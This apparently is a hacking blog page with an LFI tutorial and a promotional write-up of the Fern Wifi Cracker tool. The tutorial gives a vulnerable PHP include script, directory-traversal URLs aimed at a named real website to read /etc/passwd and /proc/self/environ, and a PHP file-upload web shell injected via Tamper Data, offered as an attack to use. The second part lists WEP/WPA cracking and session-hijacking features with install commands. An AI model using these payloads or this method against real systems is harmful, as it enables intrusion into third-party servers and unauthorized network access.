Tutorial, Download, Free, Crack, Cracked, Full Version, Serial Number, Key Activation, Software

LFI (Local File Inclusion)

What is LFI or Local File Inclusion?
This Description from Wikipedia
is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected
Example of Php Vulnerable script

<?php $file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}

So this script PHP could be injected like

http://example.com/index.php?file=contactus.php

OK Now i will show you POC exploited This vulnerablity The Way backdoored shell via Tamper data

1.First.you could search in google Vulnerable website.HEre Are The list of Dorks ive collected..

Dorks :

2.OK after Get the Website,Check That Website
For example;

http://vanessasbodymall.com/index.php?page=products.php

Is that website could call /etc/passwd File ????
You could add an ../../ << To go to that Server Website Directory

http://vanessasbodymall.com/index.php?page=/etc/passwd

3.So if '/etc/passwd' could be Called So that Site Vulnerable With LFI.So How To plant WebShell/Backdoor? > You should check Wheather /proc/self/environ < Could be Called ,So The URI likes below

http://vanessasbodymall.com/index.php?page=../../../../../../../../proc/self/environ

4.Upload Sheel via tamper data
You Should download That firefox plugin..Here i Give U the link

https://addons.mozilla.org/en-us/firefox/downloads/file/79565/tamper_data-11.0.1-fx.xpi?src=addondetail&confirmed=1

Ok Next Step after installing the plugin

a.Restart Your browser Mozilla Firefox
b.Then Click "Tool" > "MenuBar" and klik "Tamper Data"
c.Click start tamper > lalu refresh page tersebut
d.So will be pop up > Click "Tamper"
e.Replace This Code or You could Replace anything php evil code

<?php
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Done The Work!!!</b><br><br>'; }
else { echo '<b>Upload Failed! </b><br><br>'; }
}
?>

f.Yes Right..If You're Success plant That Php Script..This Script will be located at http://vanessasbodymall.com/Yourshellname.php

Search Terms :

local file inclusion
remote file inclusion
local file inclusion tutorial
local file inclusion vulnerability
lfi local file inclusion
local file inclusion exploit
local file include
web server vulnerability
vulnerability php
vulnerability of web server
web server attacks

Fern Wifi Cracker is a Wireless security auditing and attack software program written using the Python Programming Language and the Python Qt GUI library, the program is able to crack and recover WEP/WPA/WPS keys and also run other network based attacks on wireless or ethernet based networks

Operating System Supported

The Software runs on any Linux mahine with the programs prerequisites, But the program has been tested on the following Linux based Operating Systems:

Ubuntu KDE/GNOME

BackTrack Linux

BackBox Linux

Prerequisites

The Program requires the following to run properly:

The following dependencies can be installed using the Debian package installer command on debian based systems using "apt-get install program" or otherwise downloaded and installed manually

Aircrack-NG
Python-Scapy
Python Qt4
Python
Subversion
Xterm
Reaver (for WPS Attacks)
Macchanger
Features

Fern Wifi Cracker currently supports the following features:

WEP Cracking with Fragmentation,Chop-Chop, Caffe-Latte, Hirte, ARP Request Replay or WPS attack
WPA/WPA2 Cracking with Dictionary or WPS based attacks
Automatic saving of key in database on successful crack
Automatic Access Point Attack System
Session Hijacking (Passive and Ethernet Modes)
Access Point MAC Address Geo Location Tracking
Internal MITM Engine
Update Support

Installation

Installation on Debian Package supported systems:

root@host:~# dpkg -i Fern-Wifi-Cracker_1.6_all.deb

The Source Code for the program can be fetched using the following command on terminal

root@host:~# svn checkout http://fern-wifi-cracker.googlecode.com/svn/Fern-Wifi-Cracker/

This is Screenshot and description From the author

Fern wifi Cracker

Fern Wifi Cracker

Its Linux based, looks better on Gnome than KDE desktop interface, if

your using KDE the executable is in the directory /usr/local/bin/Fern-Wifi-Cracker , im giving this due to the fact that the debian installer was created for Gnome</
,so the shortcut will be created for gnome afer generic installation "dpkg -i Fern-Wifi-Cracker_1.0_all.deb" ,for KDE users, you may have to create a shortcut yourself
after the installation.

Just created the google code page for hosting it..... So please bear with the fact that i dont have a wiki help page yet

Download ( From Google Code )

DEVELOPER : Saviour Emmauel Ekiko

Source

http://www.backtrack-linux.org/forums/experts-forum/34517-new-fern-wifi-cracker.html
http://code.google.com/p/fern-wifi-cracker/

Search Terms:

Fern wifi cracker

Tutorial, Download, Free, Crack, Cracked, Full Version, Serial Number, Key Activation, Software

Recent Post

Tuesday, July 19, 2011

[Tut] Install & config GhostOne bot DotA On windows platform inc picts

Monday, April 18, 2011

[Tut] Local File Inculusion / LFI (/proc/self/environ)

Monday, November 22, 2010

FERN WIFI CRACKER New Version (wep and wpa Cracker tool)

Popular Posts

ARCHIVES

Feedjit

Meta Blog

BLOG STATISTICS

About Author